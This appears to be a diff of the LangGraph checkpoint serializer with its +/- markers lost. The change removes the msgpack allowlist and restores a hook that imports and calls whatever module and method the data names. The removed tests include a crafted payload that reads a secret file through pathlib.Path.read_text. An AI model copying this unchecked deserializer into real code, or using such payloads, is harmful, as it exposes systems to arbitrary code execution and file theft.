if _lg_msgpack.STRICT_MSGPACK_ENABLED:
allowed_msgpack_modules = None
else:
allowed_msgpack_modules = True
self.pickle_fallback = pickle_fallback
self._allowed_json_modules: set[tuple[str, ...]] | Literal[True] | None = (
_normalize_allowlist(allowed_json_modules)
self._allowed_modules = (
{mod_and_name for mod_and_name in allowed_json_modules}
if allowed_json_modules and allowed_json_modules is not True
else (allowed_json_modules if allowed_json_modules is True else None)
)
self._allowed_msgpack_modules = _normalize_allowlist(allowed_msgpack_modules)
self._custom_unpack_ext_hook = __unpack_ext_hook__ is not None
self._unpack_ext_hook = (
__unpack_ext_hook__
if __unpack_ext_hook__ is not None
else _create_msgpack_ext_hook(self._allowed_msgpack_modules)
else _msgpack_ext_hook
)
def with_msgpack_allowlist(
self, extra_allowlist: Iterable[tuple[str, ...] | type]
) -> JsonPlusSerializer:
"""Return a new serializer with a merged msgpack allowlist."""
base_allowlist = self._allowed_msgpack_modules
if base_allowlist is True or base_allowlist is False:
return self
elif base_allowlist:
base_allowlist = set(base_allowlist)
else:
base_allowlist = set()
extra = _normalize_module_keys(tuple(extra_allowlist))
merged = base_allowlist | extra
if merged == base_allowlist:
return self
allowed_msgpack_modules: AllowedMsgpackModules | Literal[True] | None
if merged:
allowed_msgpack_modules = tuple(merged)
elif isinstance(self._allowed_msgpack_modules, set):
allowed_msgpack_modules = tuple(self._allowed_msgpack_modules)
else:
allowed_msgpack_modules = self._allowed_msgpack_modules
clone = copy.copy(self)
clone._allowed_json_modules = _normalize_allowlist(self._allowed_json_modules)
clone._allowed_msgpack_modules = _normalize_allowlist(allowed_msgpack_modules)
if not clone._custom_unpack_ext_hook:
clone._unpack_ext_hook = _create_msgpack_ext_hook(
clone._allowed_msgpack_modules
)
return clone
def _encode_constructor_args(
self,
constructor: Callable | type[Any],
@@ -140,7 +90,7 @@ class JsonPlusSerializer(SerializerProtocol):
return out
def _reviver(self, value: dict[str, Any]) -> Any:
if self._allowed_json_modules and (
if self._allowed_modules and (
value.get("lc", None) == 2
and value.get("type", None) == "constructor"
and value.get("id", None) is not None
@@ -157,7 +107,7 @@ class JsonPlusSerializer(SerializerProtocol):
return LC_REVIVER(value)
def _revive_lc2(self, value: dict[str, Any]) -> Any:
self._check_allowed_json_modules(value)
self._check_allowed_modules(value)
[*module, name] = value["id"]
try:
@@ -189,7 +139,7 @@ class JsonPlusSerializer(SerializerProtocol):
except Exception:
return None
def _check_allowed_json_modules(self, value: dict[str, Any]) -> None:
def _check_allowed_modules(self, value: dict[str, Any]) -> None:
needed = tuple(value["id"])
method = value.get("method")
if isinstance(method, list):
@@ -200,7 +150,7 @@ class JsonPlusSerializer(SerializerProtocol):
method_display = "<init>"
dotted = ".".join(needed)
if not self._allowed_json_modules:
if not self._allowed_modules:
raise InvalidModuleError(
f"Refused to deserialize JSON constructor: {dotted} (method: {method_display}). "
"No allowed_json_modules configured.\n\n"
@@ -211,9 +161,9 @@ class JsonPlusSerializer(SerializerProtocol):
"or plain-JSON representations revived without import-time side effects."
)
if self._allowed_json_modules is True:
if self._allowed_modules is True:
return
if needed in self._allowed_json_modules:
if needed in self._allowed_modules:
return
raise InvalidModuleError(
@@ -498,196 +448,92 @@ def _msgpack_default(obj: Any) -> str | ormsgpack.Ext:
raise TypeError(f"Object of type {obj.__class__.__name__} is not serializable")
def _create_msgpack_ext_hook(
allowed_modules: set[tuple[str, ...]] | Literal[True] | None,
) -> Callable[[int, bytes], Any]:
"""Create msgpack ext hook with allowlist.
Args:
allowed_modules: Set of (module, name) tuples that are allowed to be
deserialized, or True to allow all with warnings for unregistered types, or None to only allow safe types.
Returns:
An ext_hook function for use with ormsgpack.unpackb.
"""
def _check_allowed(module: str, name: str) -> bool:
"""Check if type is allowed. Returns True if allowed, False if blocked."""
key = (module, name)
if key in _lg_msgpack.SAFE_MSGPACK_TYPES:
return True
if allowed_modules is True:
# default is to warn but allow unregistered types
emit_serde_event(
{
"kind": "msgpack_unregistered_allowed",
"module": module,
"name": name,
}
def _msgpack_ext_hook(code: int, data: bytes) -> Any:
if code == EXT_CONSTRUCTOR_SINGLE_ARG:
try:
tup = ormsgpack.unpackb(
data, ext_hook=_msgpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
)
logger.warning(
"Deserializing unregistered type %s.%s from checkpoint. "
"This will be blocked in a future version. "
"Add to allowed_msgpack_modules to silence: [(%r, %r)]",
module,
name,
module,
name,
# module, name, arg
return getattr(importlib.import_module(tup[0]), tup[1])(tup[2])
except Exception:
return
elif code == EXT_CONSTRUCTOR_POS_ARGS:
try:
tup = ormsgpack.unpackb(
data, ext_hook=_msgpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
)
return True
if allowed_modules is not None:
if key in allowed_modules:
return True
# strict mode blocks unregistered types
emit_serde_event(
{
"kind": "msgpack_blocked",
"module": module,
"name": name,
}
)
logger.warning(
"Blocked deserialization of %s.%s - not in allowed_msgpack_modules. "
"Add to allowed_msgpack_modules to allow: [(%r, %r)]",
module,
name,
module,
name,
)
return False
# module, name, args
return getattr(importlib.import_module(tup[0]), tup[1])(*tup[2])
except Exception:
return
elif code == EXT_CONSTRUCTOR_KW_ARGS:
try:
tup = ormsgpack.unpackb(
data, ext_hook=_msgpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
)
# module, name, args
return getattr(importlib.import_module(tup[0]), tup[1])(**tup[2])
except Exception:
return
elif code == EXT_METHOD_SINGLE_ARG:
try:
tup = ormsgpack.unpackb(
data, ext_hook=_msgpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
)
# module, name, arg, method
return getattr(getattr(importlib.import_module(tup[0]), tup[1]), tup[3])(
tup[2]
)
except Exception:
return
elif code == EXT_PYDANTIC_V1:
try:
tup = ormsgpack.unpackb(
data, ext_hook=_msgpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
)
# module, name, kwargs
cls = getattr(importlib.import_module(tup[0]), tup[1])
try:
return cls(**tup[2])
except Exception:
return cls.construct(**tup[2])
except Exception:
# for pydantic objects we can't find/reconstruct
# let's return the kwargs dict instead
try:
return tup[2]
except NameError:
return
elif code == EXT_PYDANTIC_V2:
try:
tup = ormsgpack.unpackb(
data, ext_hook=_msgpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
)
# module, name, kwargs, method
cls = getattr(importlib.import_module(tup[0]), tup[1])
try:
return cls(**tup[2])
except Exception:
return cls.model_construct(**tup[2])
except Exception:
# for pydantic objects we can't find/reconstruct
# let's return the kwargs dict instead
try:
return tup[2]
except NameError:
return
elif code == EXT_NUMPY_ARRAY:
try:
import numpy as _np
def _check_allowed_method(module: str, name: str, method: str) -> bool:
"""Check if a method invocation is allowed."""
key = (module, name, method)
if key in _lg_msgpack.SAFE_MSGPACK_METHODS:
return True
emit_serde_event(
{
"kind": "msgpack_method_blocked",
"module": module,
"name": name,
"method": method,
}
)
logger.warning(
"Blocked deserialization of method call %s.%s.%s - "
"not in allowed methods set.",
module,
name,
method,
)
return False
def ext_hook(code: int, data: bytes) -> Any:
if code == EXT_CONSTRUCTOR_SINGLE_ARG:
try:
tup = ormsgpack.unpackb(
data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
)
if not _check_allowed(tup[0], tup[1]):
# We default to returning the raw data. If the user
# is using this in the context of a pydantic state, etc., then
# it would be validated upon construction.
return tup[2]
# module, name, arg
return getattr(importlib.import_module(tup[0]), tup[1])(tup[2])
except Exception:
return None
elif code == EXT_CONSTRUCTOR_POS_ARGS:
try:
tup = ormsgpack.unpackb(
data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
)
if not _check_allowed(tup[0], tup[1]):
return tup[2]
# module, name, args
return getattr(importlib.import_module(tup[0]), tup[1])(*tup[2])
except Exception:
return None
elif code == EXT_CONSTRUCTOR_KW_ARGS:
try:
tup = ormsgpack.unpackb(
data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
)
if not _check_allowed(tup[0], tup[1]):
return tup[2]
# module, name, kwargs
return getattr(importlib.import_module(tup[0]), tup[1])(**tup[2])
except Exception:
return None
elif code == EXT_METHOD_SINGLE_ARG:
try:
tup = ormsgpack.unpackb(
data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
)
if not _check_allowed_method(tup[0], tup[1], tup[3]):
return tup[2]
# module, name, arg, method
return getattr(
getattr(importlib.import_module(tup[0]), tup[1]), tup[3]
)(tup[2])
except Exception:
return None
elif code == EXT_PYDANTIC_V1:
try:
tup = ormsgpack.unpackb(
data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
)
if not _check_allowed(tup[0], tup[1]):
return tup[2]
# module, name, kwargs
cls = getattr(importlib.import_module(tup[0]), tup[1])
try:
return cls(**tup[2])
except Exception:
return cls.construct(**tup[2])
except Exception:
# for pydantic objects we can't find/reconstruct
# let's return the kwargs dict instead
try:
return tup[2]
except NameError:
return None
elif code == EXT_PYDANTIC_V2:
try:
tup = ormsgpack.unpackb(
data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
)
if not _check_allowed(tup[0], tup[1]):
return tup[2]
# module, name, kwargs, method
cls = getattr(importlib.import_module(tup[0]), tup[1])
try:
return cls(**tup[2])
except Exception:
return cls.model_construct(**tup[2])
except Exception:
# for pydantic objects we can't find/reconstruct
# let's return the kwargs dict instead
try:
return tup[2]
except NameError:
return None
elif code == EXT_NUMPY_ARRAY:
try:
import numpy as _np
dtype_str, shape, order, buf = ormsgpack.unpackb(
data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
)
arr = _np.frombuffer(buf, dtype=_np.dtype(dtype_str))
return arr.reshape(shape, order=order)
except Exception:
return None
return None
return ext_hook
# Aliasing in case anyone imported it directly
_msgpack_ext_hook = _create_msgpack_ext_hook(allowed_modules=None)
dtype_str, shape, order, buf = ormsgpack.unpackb(
data, ext_hook=_msgpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
)
arr = _np.frombuffer(buf, dtype=_np.dtype(dtype_str))
return arr.reshape(shape, order=order)
except Exception:
return
def _msgpack_ext_hook_to_json(code: int, data: bytes) -> Any:
@@ -802,26 +648,3 @@ _option = (
def _msgpack_enc(data: Any) -> bytes:
return ormsgpack.packb(data, default=_msgpack_default, option=_option)
def _normalize_allowlist(
allowlist: AllowedMsgpackModules | Literal[True] | None,
) -> set[tuple[str, ...]] | Literal[True] | None:
if allowlist is True:
return allowlist
elif allowlist:
return _normalize_module_keys(allowlist)
else:
return None
def _normalize_module_keys(
modules: AllowedMsgpackModules,
) -> set[tuple[str, ...]]:
normalized: set[tuple[str, ...]] = set()
for module in modules:
if isclass(module):
normalized.add((module.__module__, module.__name__))
else:
normalized.add(cast(tuple[str, ...], module))
return normalized
@@ -328,9 +328,6 @@ async def _run(
store: weakref.ReferenceType[BaseStore],
) -> None:
while item := await aqueue.get():
# don't run batch if the future is done (e.g. cancelled)
if item[0].done():
continue
# check if store is still alive
if s := store():
try:
@@ -338,9 +335,6 @@ async def _run(
items = [item]
try:
while item := aqueue.get_nowait():
# don't insert if the future is done (e.g. cancelled)
if item[0].done():
continue
items.append(item)
except asyncio.QueueEmpty:
pass
+1 -2
View File
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
[project]
name = "langgraph-checkpoint"
version = "4.0.1"
version = "4.0.0"
description = "Library with base interfaces for LangGraph checkpoint savers."
authors = []
requires-python = ">=3.10"
@@ -42,7 +42,6 @@ lint = [
dev = [
{include-group = "test"},
{include-group = "lint"},
"pycryptodome>=3.23.0",
]
[tool.hatch.build.targets.wheel]
-437
View File
@@ -1,437 +0,0 @@
"""Tests for EncryptedSerializer with msgpack allowlist functionality.
These tests mirror the msgpack allowlist tests in test_jsonplus.py but run them
through the EncryptedSerializer to ensure the allowlist behavior is preserved
when encryption is enabled.
"""
from __future__ import annotations
import logging
import pathlib
import re
import uuid
from collections import deque
from datetime import date, datetime, time, timezone
from decimal import Decimal
from ipaddress import IPv4Address
from typing import Literal, cast
import ormsgpack
import pytest
from pydantic import BaseModel
from langgraph.checkpoint.base import BaseCheckpointSaver, _with_msgpack_allowlist
from langgraph.checkpoint.serde import _msgpack as _lg_msgpack
from langgraph.checkpoint.serde.base import CipherProtocol
from langgraph.checkpoint.serde.encrypted import EncryptedSerializer
from langgraph.checkpoint.serde.jsonplus import (
EXT_METHOD_SINGLE_ARG,
JsonPlusSerializer,
_msgpack_enc,
)
class InnerPydantic(BaseModel):
hello: str
class MyPydantic(BaseModel):
foo: str
bar: int
inner: InnerPydantic
class AnotherPydantic(BaseModel):
foo: str
class _PassthroughCipher(CipherProtocol):
def encrypt(self, plaintext: bytes) -> tuple[str, bytes]:
return "passthrough", plaintext
def decrypt(self, ciphername: str, ciphertext: bytes) -> bytes:
assert ciphername == "passthrough"
return ciphertext
def _make_encrypted_serde(
allowed_msgpack_modules: (
_lg_msgpack.AllowedMsgpackModules | Literal[True] | None | object
) = _lg_msgpack._SENTINEL,
) -> EncryptedSerializer:
"""Create an EncryptedSerializer with AES encryption for testing."""
inner = JsonPlusSerializer(
allowed_msgpack_modules=cast(
_lg_msgpack.AllowedMsgpackModules | Literal[True] | None,
allowed_msgpack_modules,
)
)
return EncryptedSerializer.from_pycryptodome_aes(
serde=inner, key=b"1234567890123456"
)
def test_msgpack_method_pathlib_blocked_encrypted_strict(
tmp_path: pathlib.Path, caplog: pytest.LogCaptureFixture
) -> None:
target = tmp_path / "secret.txt"
target.write_text("secret")
payload = ormsgpack.packb(
ormsgpack.Ext(
EXT_METHOD_SINGLE_ARG,
_msgpack_enc(("pathlib", "Path", target, "read_text")),
),
option=ormsgpack.OPT_NON_STR_KEYS,
)
serde = EncryptedSerializer(
_PassthroughCipher(),
JsonPlusSerializer(allowed_msgpack_modules=None),
)
caplog.set_level(logging.WARNING, logger="langgraph.checkpoint.serde.jsonplus")
caplog.clear()
result = serde.loads_typed(("msgpack+passthrough", payload))
assert result == target
assert "blocked deserialization of method call pathlib.path.read_text" in (
caplog.text.lower()
)
class TestEncryptedSerializerMsgpackAllowlist:
"""Test msgpack allowlist behavior through EncryptedSerializer."""
def test_safe_types_no_warning(self, caplog: pytest.LogCaptureFixture) -> None:
"""Test safe types deserialize without warnings through encryption."""
serde = _make_encrypted_serde()
safe_objects = [
datetime.now(),
date.today(),
time(12, 30),
timezone.utc,
uuid.uuid4(),
Decimal("123.45"),
{1, 2, 3},
frozenset([1, 2, 3]),
deque([1, 2, 3]),
IPv4Address("192.168.1.1"),
pathlib.Path("/tmp/test"),
]
for obj in safe_objects:
caplog.clear()
dumped = serde.dumps_typed(obj)
# Verify encryption is happening
assert "+aes" in dumped[0], f"Expected encryption for {type(obj)}"
result = serde.loads_typed(dumped)
assert "unregistered type" not in caplog.text.lower(), (
f"Unexpected warning for {type(obj)}"
)
assert result is not None
def test_pydantic_warns_by_default(self, caplog: pytest.LogCaptureFixture) -> None:
"""Pydantic models not in allowlist should log warning but still deserialize."""
current = _lg_msgpack.STRICT_MSGPACK_ENABLED
_lg_msgpack.STRICT_MSGPACK_ENABLED = False
serde = _make_encrypted_serde()
obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world"))
caplog.clear()
dumped = serde.dumps_typed(obj)
assert "+aes" in dumped[0]
result = serde.loads_typed(dumped)
assert "unregistered type" in caplog.text.lower()
assert "allowed_msgpack_modules" in caplog.text
assert result == obj
_lg_msgpack.STRICT_MSGPACK_ENABLED = current
def test_strict_mode_blocks_unregistered(
self, caplog: pytest.LogCaptureFixture
) -> None:
"""Strict mode should block unregistered types through encryption."""
serde = _make_encrypted_serde(allowed_msgpack_modules=None)
obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world"))
caplog.clear()
dumped = serde.dumps_typed(obj)
assert "+aes" in dumped[0]
result = serde.loads_typed(dumped)
assert "blocked" in caplog.text.lower()
expected = obj.model_dump()
assert result == expected
def test_allowlist_silences_warning(self, caplog: pytest.LogCaptureFixture) -> None:
"""Types in allowed_msgpack_modules should deserialize without warnings."""
serde = _make_encrypted_serde(
allowed_msgpack_modules=[
("tests.test_encrypted", "MyPydantic"),
("tests.test_encrypted", "InnerPydantic"),
]
)
obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world"))
caplog.clear()
dumped = serde.dumps_typed(obj)
assert "+aes" in dumped[0]
result = serde.loads_typed(dumped)
assert "unregistered type" not in caplog.text.lower()
assert "blocked" not in caplog.text.lower()
assert result == obj
def test_allowlist_blocks_non_listed(
self, caplog: pytest.LogCaptureFixture
) -> None:
"""Allowlists should block unregistered types even through encryption."""
serde = _make_encrypted_serde(
allowed_msgpack_modules=[("tests.test_encrypted", "MyPydantic")]
)
obj = AnotherPydantic(foo="nope")
caplog.clear()
dumped = serde.dumps_typed(obj)
assert "+aes" in dumped[0]
result = serde.loads_typed(dumped)
assert "blocked" in caplog.text.lower()
expected = obj.model_dump()
assert result == expected
def test_safe_types_value_equality(self, caplog: pytest.LogCaptureFixture) -> None:
"""Verify safe types are correctly restored with proper values through encryption."""
serde = _make_encrypted_serde(allowed_msgpack_modules=None)
test_cases = [
datetime(2024, 1, 15, 12, 30, 45, 123456),
date(2024, 6, 15),
time(14, 30, 0),
uuid.UUID("12345678-1234-5678-1234-567812345678"),
Decimal("123.456789"),
{1, 2, 3, 4, 5},
frozenset(["a", "b", "c"]),
deque([1, 2, 3]),
IPv4Address("10.0.0.1"),
pathlib.Path("/some/test/path"),
re.compile(r"\d+", re.MULTILINE),
]
for obj in test_cases:
caplog.clear()
dumped = serde.dumps_typed(obj)
assert "+aes" in dumped[0], f"Expected encryption for {type(obj)}"
result = serde.loads_typed(dumped)
assert "blocked" not in caplog.text.lower(), f"Blocked for {type(obj)}"
if isinstance(obj, re.Pattern):
assert result.pattern == obj.pattern
assert result.flags == obj.flags
else:
assert result == obj, (
f"Value mismatch for {type(obj)}: {result} != {obj}"
)
def test_regex_safe_type(self, caplog: pytest.LogCaptureFixture) -> None:
"""re.compile patterns should deserialize without warnings as a safe type."""
serde = _make_encrypted_serde(allowed_msgpack_modules=None)
pattern = re.compile(r"foo.*bar", re.IGNORECASE | re.DOTALL)
caplog.clear()
dumped = serde.dumps_typed(pattern)
assert "+aes" in dumped[0]
result = serde.loads_typed(dumped)
assert "blocked" not in caplog.text.lower()
assert "unregistered" not in caplog.text.lower()
assert result.pattern == pattern.pattern
assert result.flags == pattern.flags
class TestWithMsgpackAllowlistEncrypted:
"""Test _with_msgpack_allowlist function with EncryptedSerializer."""
def test_propagates_allowlist_to_inner_serde(self) -> None:
"""_with_msgpack_allowlist should propagate allowlist to inner JsonPlusSerializer."""
inner = JsonPlusSerializer(allowed_msgpack_modules=None)
encrypted = EncryptedSerializer.from_pycryptodome_aes(
serde=inner, key=b"1234567890123456"
)
extra = [("my.module", "MyClass")]
result = _with_msgpack_allowlist(encrypted, extra)
# Should return a new EncryptedSerializer
assert isinstance(result, EncryptedSerializer)
assert result is not encrypted
# Inner serde should have the allowlist
assert isinstance(result.serde, JsonPlusSerializer)
assert isinstance(result.serde._allowed_msgpack_modules, set)
assert ("my.module", "MyClass") in result.serde._allowed_msgpack_modules
def test_preserves_cipher(self) -> None:
"""_with_msgpack_allowlist should preserve the cipher from the original."""
inner = JsonPlusSerializer(allowed_msgpack_modules=None)
encrypted = EncryptedSerializer.from_pycryptodome_aes(
serde=inner, key=b"1234567890123456"
)
result = _with_msgpack_allowlist(encrypted, [("my.module", "MyClass")])
assert isinstance(result, EncryptedSerializer)
# Should use the same cipher
assert result.cipher is encrypted.cipher
def test_returns_same_if_not_jsonplus_inner(self) -> None:
"""_with_msgpack_allowlist should return same serde if inner is not JsonPlusSerializer."""
class DummyInnerSerde:
def dumps_typed(self, obj: object) -> tuple[str, bytes]:
return ("dummy", b"")
def loads_typed(self, data: tuple[str, bytes]) -> None:
return None
from langgraph.checkpoint.serde.base import CipherProtocol
class DummyCipher(CipherProtocol):
def encrypt(self, plaintext: bytes) -> tuple[str, bytes]:
return "dummy", plaintext
def decrypt(self, ciphername: str, ciphertext: bytes) -> bytes:
return ciphertext
encrypted = EncryptedSerializer(DummyCipher(), DummyInnerSerde())
result = _with_msgpack_allowlist(encrypted, [("my.module", "MyClass")])
assert result is encrypted
def test_warns_if_allowlist_unsupported(
self, caplog: pytest.LogCaptureFixture
) -> None:
class DummySerde:
def dumps_typed(self, obj: object) -> tuple[str, bytes]:
return ("dummy", b"")
def loads_typed(self, data: tuple[str, bytes]) -> object:
return data
serde = DummySerde()
caplog.set_level(logging.WARNING, logger="langgraph.checkpoint.base")
caplog.clear()
result = _with_msgpack_allowlist(serde, [("my.module", "MyClass")])
assert result is serde
assert "does not support msgpack allowlist" in caplog.text.lower()
def test_noop_allowlist_returns_same_encrypted_instance(self) -> None:
inner = JsonPlusSerializer(allowed_msgpack_modules=None)
encrypted = EncryptedSerializer.from_pycryptodome_aes(
serde=inner, key=b"1234567890123456"
)
result = _with_msgpack_allowlist(encrypted, ())
assert result is encrypted
def test_functional_roundtrip_with_allowlist(
self, caplog: pytest.LogCaptureFixture
) -> None:
"""End-to-end test: allowlist applied via _with_msgpack_allowlist works."""
inner = JsonPlusSerializer(allowed_msgpack_modules=None)
encrypted = EncryptedSerializer.from_pycryptodome_aes(
serde=inner, key=b"1234567890123456"
)
# Apply allowlist for MyPydantic
updated = _with_msgpack_allowlist(
encrypted,
[
("tests.test_encrypted", "MyPydantic"),
("tests.test_encrypted", "InnerPydantic"),
],
)
obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world"))
caplog.clear()
dumped = updated.dumps_typed(obj)
assert "+aes" in dumped[0]
result = updated.loads_typed(dumped)
# Should deserialize without blocking
assert "blocked" not in caplog.text.lower()
assert result == obj
def test_original_still_blocks_after_with_allowlist(
self, caplog: pytest.LogCaptureFixture
) -> None:
"""Original serde should still block after _with_msgpack_allowlist creates a new one."""
inner = JsonPlusSerializer(allowed_msgpack_modules=None)
encrypted = EncryptedSerializer.from_pycryptodome_aes(
serde=inner, key=b"1234567890123456"
)
# Apply allowlist - this should create a NEW serde
_with_msgpack_allowlist(
encrypted,
[("tests.test_encrypted", "MyPydantic")],
)
# Original should still block
obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world"))
caplog.clear()
dumped = encrypted.dumps_typed(obj)
result = encrypted.loads_typed(dumped)
assert "blocked" in caplog.text.lower()
assert result == obj.model_dump()
class TestEncryptedSerializerUnencryptedFallback:
"""Test that EncryptedSerializer handles unencrypted data correctly."""
def test_loads_unencrypted_data(self) -> None:
"""EncryptedSerializer should handle unencrypted data for backwards compat."""
plain = JsonPlusSerializer(allowed_msgpack_modules=None)
encrypted = _make_encrypted_serde(allowed_msgpack_modules=None)
obj = {"key": "value", "number": 42}
# Serialize with plain serde
dumped = plain.dumps_typed(obj)
assert "+aes" not in dumped[0]
# Should still deserialize with encrypted serde
result = encrypted.loads_typed(dumped)
assert result == obj
def test_with_allowlist_uses_copy_protocol() -> None:
class CopyAwareSaver(BaseCheckpointSaver[str]):
def __init__(self) -> None:
super().__init__(serde=JsonPlusSerializer(allowed_msgpack_modules=None))
self.copy_was_used = False
def __copy__(self) -> object:
clone = object.__new__(self.__class__)
clone.__dict__ = self.__dict__.copy()
clone.copy_was_used = True
return clone
saver = CopyAwareSaver()
updated = saver.with_allowlist([("tests.test_encrypted", "MyPydantic")])
assert isinstance(updated, CopyAwareSaver)
assert updated is not saver
assert updated.copy_was_used is True
assert saver.copy_was_used is False
+2 -471
View File
@@ -1,6 +1,5 @@
import dataclasses
import json
import logging
import pathlib
import re
import sys
@@ -14,26 +13,15 @@ from zoneinfo import ZoneInfo
import dataclasses_json
import numpy as np
import ormsgpack
import pandas as pd
import pytest
from langchain_core.documents.base import Document
from langchain_core.messages import HumanMessage
from pydantic import BaseModel, SecretStr
from pydantic.v1 import BaseModel as BaseModelV1
from pydantic.v1 import SecretStr as SecretStrV1
from langgraph.checkpoint.serde import _msgpack as _lg_msgpack
from langgraph.checkpoint.serde._msgpack import AllowedMsgpackModules
from langgraph.checkpoint.serde.event_hooks import (
SerdeEvent,
register_serde_event_listener,
)
from langgraph.checkpoint.serde.jsonplus import (
EXT_METHOD_SINGLE_ARG,
InvalidModuleError,
JsonPlusSerializer,
_msgpack_enc,
_msgpack_ext_hook_to_json,
)
from langgraph.store.base import Item
@@ -49,10 +37,6 @@ class MyPydantic(BaseModel):
inner: InnerPydantic
class AnotherPydantic(BaseModel):
foo: str
class InnerPydanticV1(BaseModelV1):
hello: str
@@ -154,27 +138,7 @@ def test_serde_jsonplus() -> None:
)
to_serialize["my_secret_str_v1"] = SecretStrV1("meow")
allowed_msgpack_modules: AllowedMsgpackModules = [
InnerDataclass,
MyDataclass,
MyDataclassWSlots,
MyEnum,
InnerPydantic,
MyPydantic,
# Testing that it supports both.
(Person.__module__, Person.__name__),
(SecretStr.__module__, SecretStr.__name__),
]
if sys.version_info < (3, 14):
allowed_msgpack_modules.extend( # type: ignore
[
(InnerPydanticV1.__module__, InnerPydanticV1.__name__),
(MyPydanticV1.__module__, MyPydanticV1.__name__),
(SecretStrV1.__module__, SecretStrV1.__name__),
]
)
serde = JsonPlusSerializer(allowed_msgpack_modules=allowed_msgpack_modules)
serde = JsonPlusSerializer()
dumped = serde.dumps_typed(to_serialize)
@@ -548,438 +512,5 @@ def test_serde_jsonplus_pandas_series(series: pd.Series) -> None:
assert dumped[0] == "pickle"
result = serde.loads_typed(dumped)
assert result.equals(series)
def test_msgpack_safe_types_no_warning(caplog: pytest.LogCaptureFixture) -> None:
"""Test safe types deserialize without warnings."""
serde = JsonPlusSerializer()
safe_objects = [
datetime.now(),
date.today(),
time(12, 30),
timezone.utc,
uuid.uuid4(),
Decimal("123.45"),
{1, 2, 3},
frozenset([1, 2, 3]),
deque([1, 2, 3]),
IPv4Address("192.168.1.1"),
pathlib.Path("/tmp/test"),
]
for obj in safe_objects:
caplog.clear()
dumped = serde.dumps_typed(obj)
result = serde.loads_typed(dumped)
assert "unregistered type" not in caplog.text.lower(), (
f"Unexpected warning for {type(obj)}"
)
assert result is not None
def test_msgpack_pydantic_warns_by_default(caplog: pytest.LogCaptureFixture) -> None:
"""Pydantic models not in allowlist should log warning but still deserialize."""
current = _lg_msgpack.STRICT_MSGPACK_ENABLED
_lg_msgpack.STRICT_MSGPACK_ENABLED = False
serde = JsonPlusSerializer()
obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world"))
caplog.clear()
dumped = serde.dumps_typed(obj)
result = serde.loads_typed(dumped)
assert "unregistered type" in caplog.text.lower()
assert "allowed_msgpack_modules" in caplog.text
assert result == obj
_lg_msgpack.STRICT_MSGPACK_ENABLED = current
def test_msgpack_env_strict_default(
caplog: pytest.LogCaptureFixture,
) -> None:
"""Strict msgpack env should default to blocking unregistered types."""
current = _lg_msgpack.STRICT_MSGPACK_ENABLED
_lg_msgpack.STRICT_MSGPACK_ENABLED = True
serde = JsonPlusSerializer()
obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world"))
caplog.clear()
dumped = serde.dumps_typed(obj)
result = serde.loads_typed(dumped)
assert "blocked" in caplog.text.lower()
assert result == obj.model_dump()
_lg_msgpack.STRICT_MSGPACK_ENABLED = current
def test_msgpack_allowlist_silences_warning(caplog: pytest.LogCaptureFixture) -> None:
"""Types in allowed_msgpack_modules should deserialize without warnings."""
serde = JsonPlusSerializer(
allowed_msgpack_modules=[
("tests.test_jsonplus", "MyPydantic"),
("tests.test_jsonplus", "InnerPydantic"),
]
)
obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world"))
caplog.clear()
dumped = serde.dumps_typed(obj)
result = serde.loads_typed(dumped)
assert "unregistered type" not in caplog.text.lower()
assert result == obj
def test_msgpack_none_blocks_unregistered(caplog: pytest.LogCaptureFixture) -> None:
"""allowed_msgpack_modules=None should block unregistered types."""
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world"))
caplog.clear()
dumped = serde.dumps_typed(obj)
result = serde.loads_typed(dumped)
assert "blocked" in caplog.text.lower()
expected = obj.model_dump()
assert result == expected
def test_msgpack_allowlist_blocks_non_listed(
caplog: pytest.LogCaptureFixture,
) -> None:
"""Allowlists should block unregistered types even if msgpack is enabled."""
serde = JsonPlusSerializer(
allowed_msgpack_modules=[("tests.test_jsonplus", "MyPydantic")]
)
obj = AnotherPydantic(foo="nope")
caplog.clear()
dumped = serde.dumps_typed(obj)
result = serde.loads_typed(dumped)
assert "blocked" in caplog.text.lower()
expected = obj.model_dump()
# It's not allowed, so we just leave it as a dict
assert result == expected
def test_msgpack_blocked_emits_event() -> None:
events: list[SerdeEvent] = []
unregister = register_serde_event_listener(events.append)
try:
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
obj = AnotherPydantic(foo="nope")
serde.loads_typed(serde.dumps_typed(obj))
finally:
unregister()
assert {
"kind": "msgpack_blocked",
"module": "tests.test_jsonplus",
"name": "AnotherPydantic",
} in events
def test_msgpack_unregistered_allowed_emits_event() -> None:
events: list[SerdeEvent] = []
unregister = register_serde_event_listener(events.append)
try:
serde = JsonPlusSerializer(allowed_msgpack_modules=True)
obj = AnotherPydantic(foo="ok")
serde.loads_typed(serde.dumps_typed(obj))
finally:
unregister()
assert {
"kind": "msgpack_unregistered_allowed",
"module": "tests.test_jsonplus",
"name": "AnotherPydantic",
} in events
def test_msgpack_strict_allows_safe_types(
caplog: pytest.LogCaptureFixture,
) -> None:
"""Safe types should still deserialize in strict mode without warnings."""
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
safe = uuid.uuid4()
